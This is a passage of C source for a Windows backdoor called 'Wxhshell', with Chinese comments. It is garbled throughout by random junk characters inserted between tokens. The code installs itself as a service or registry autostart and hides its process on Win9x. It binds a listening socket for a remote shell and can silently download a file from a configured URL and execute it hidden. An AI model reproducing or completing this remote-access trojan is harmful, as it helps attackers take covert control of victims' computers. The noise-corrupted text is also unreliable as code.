}W;C@ if(!hProcess) return 0; x-_!I>l& An e.sS if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i+V4_` 3wBc`vJ! CloseHandle(hProcess); sc!
e$@U MyOdWD&7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b)A$lP%` if(hProcess==NULL) return 0; J8"Cw<=O g[P8 HMODULE hMod; AdtAc$@xK char procName[255]; &r;4$7 unsigned long cbNeeded; Pxj?W'| 8L?35[]e if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ? 1g<] ? R9->.eE CloseHandle(hProcess); Z=Oo%lM6B 2EOt.4cP if(strstr(procName,"services")) return 1; // 以服务启动 ;TK:D=p4 av1*i3 return 0; // 注册表启动 dfo{ B/+ } {qm(Z+wcmb b7/1] // 主模块 Y24:D7Q int StartWxhshell(LPSTR lpCmdLine) >4.{|0%ut { vTD`Ja#h SOCKET wsl; yS#LT3>l BOOL val=TRUE; )h~MIpWR int port=0; SZCFdb struct sockaddr_in door; ?hS n) m#'2
3 if(wscfg.ws_autoins) Install(); W)F2X0D> Vl!Z|}z port=atoi(lpCmdLine); 7K`A2 L44-: 3 if(port<=0) port=wscfg.ws_port; a<[@p 1@H3!V4 WSADATA data; MdWT[ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :CN,I!: hIw<gb4J% if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5vL]Y)l setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AR?J[e door.sin_family = AF_INET; ~PUz/^^
s door.sin_addr.s_addr = inet_addr("127.0.0.1"); w $7*za2 door.sin_port = htons(port); `n7z+ b0i]T?# if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #{ M$%l> closesocket(wsl); d;ElqRC& return 1; a`CsL Bv& } PCs+`
WP!M [KR`%fD0 if(listen(wsl,2) == INVALID_SOCKET) { #nc{MR#R closesocket(wsl); +gTnq")wnI return 1; c8gdY` } //W<\ Wxhshell(wsl); (i7]N[ WSACleanup(); ;""V s6 ;h3uMUCml return 0; nVoPTr Jjz:-Uqq2 } <Ja> ]OHzE]Q // 以NT服务方式启动 !h2ZrT9
_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xX { =%|S$J DWORD status = 0; 5-}4jwk DWORD specificError = 0xfffffff; Bya!pzbpr I`2hxLwh+ serviceStatus.dwServiceType = SERVICE_WIN32; PKu+$ serviceStatus.dwCurrentState = SERVICE_START_PENDING; v[ru }/4 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rZZueYuXO serviceStatus.dwWin32ExitCode = 0; O'" &9 serviceStatus.dwServiceSpecificExitCode = 0; |-I[{"6q$@ serviceStatus.dwCheckPoint = 0; 1P4jdp=~ serviceStatus.dwWaitHint = 0; {3C~cK{ AFl]w'= hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w1aa5-aF if (hServiceStatusHandle==0) return; u|=_!$8 Ud:v3"1 status = GetLastError(); &`<j!xlG if (status!=NO_ERROR) L!DP*XDp { uU6+cDp serviceStatus.dwCurrentState = SERVICE_STOPPED; u%#bu^4" serviceStatus.dwCheckPoint = 0; DPi%[CRH serviceStatus.dwWaitHint = 0; ;]MHU/ serviceStatus.dwWin32ExitCode = status; $r9Sn serviceStatus.dwServiceSpecificExitCode = specificError; H(!)]dO SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8OZc:/ return; U=p,drF,A } [a5L WW NZ'S~Lr serviceStatus.dwCurrentState = SERVICE_RUNNING; OR4!73[I serviceStatus.dwCheckPoint = 0; v?)JM+ serviceStatus.dwWaitHint = 0; bQb>S<PT if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |Z$heYP:w } "a;JQ: k#E D#']N // 处理NT服务事件,比如:启动、停止 9~<HTH VOID WINAPI NTServiceHandler(DWORD fdwControl) d> `9!) { ?I`']|I switch(fdwControl) kh 17 { ~DVAk|fc case SERVICE_CONTROL_STOP: g%#"
5Kr serviceStatus.dwWin32ExitCode = 0; ! SD? serviceStatus.dwCurrentState = SERVICE_STOPPED; >.SU=HG; serviceStatus.dwCheckPoint = 0; 1/3Go97/qV serviceStatus.dwWaitHint = 0; B+wSLi( { Io{)@H"f SetServiceStatus(hServiceStatusHandle, &serviceStatus); .3A66 O~zT } I'
ej?~ return; \QstcsEt case SERVICE_CONTROL_PAUSE: l[l('-f serviceStatus.dwCurrentState = SERVICE_PAUSED; SPeSe/ break; 6YQ&+4 case SERVICE_CONTROL_CONTINUE: 1-1x,U7w serviceStatus.dwCurrentState = SERVICE_RUNNING; 8k]'P*9ulz break; jhUab], case SERVICE_CONTROL_INTERROGATE: pA+W
8v#* break; sbrU;X_S }; x;l\#x/< SetServiceStatus(hServiceStatusHandle, &serviceStatus);
.-' } Gb<)U[Hfd t%n1TY, // 标准应用程序主函数 UBrYN'QRNt int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ja|! fT { ,-&ler~[ VieC+Kk // 获取操作系统版本 $[6:KV OsIsNt=GetOsVer(); _LFZ 0 GetModuleFileName(NULL,ExeFile,MAX_PATH); !!b5vzyve Ni'vz7j // 从命令行安装 #q%xJ[ if(strpbrk(lpCmdLine,"iI")) Install(); c</d1x T OnC|9 // 下载执行文件 ]ZelB,7q if(wscfg.ws_downexe) { _0 USe if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (01M 0b# WinExec(wscfg.ws_filenam,SW_HIDE); ~C{d2i } ~#&bDot H ZIJKk( if(!OsIsNt) { 3lqR(Hh3 // 如果时win9x,隐藏进程并且设置为注册表启动 V{O,O,* HideProc(); 9Y- Sqk+ StartWxhshell(lpCmdLine);
mrX3/e } Di<KRg1W]} else s@E"EWp0 if(StartFromService()) X5cl'J(j9 // 以服务方式启动 bBc<yaN StartServiceCtrlDispatcher(DispatchTable); 0R>M_| else [iwn"e // 普通方式启动 [bIdhG StartWxhshell(lpCmdLine); M])Y|}wv8 ((\s4- return 0; 81fpeoNO }
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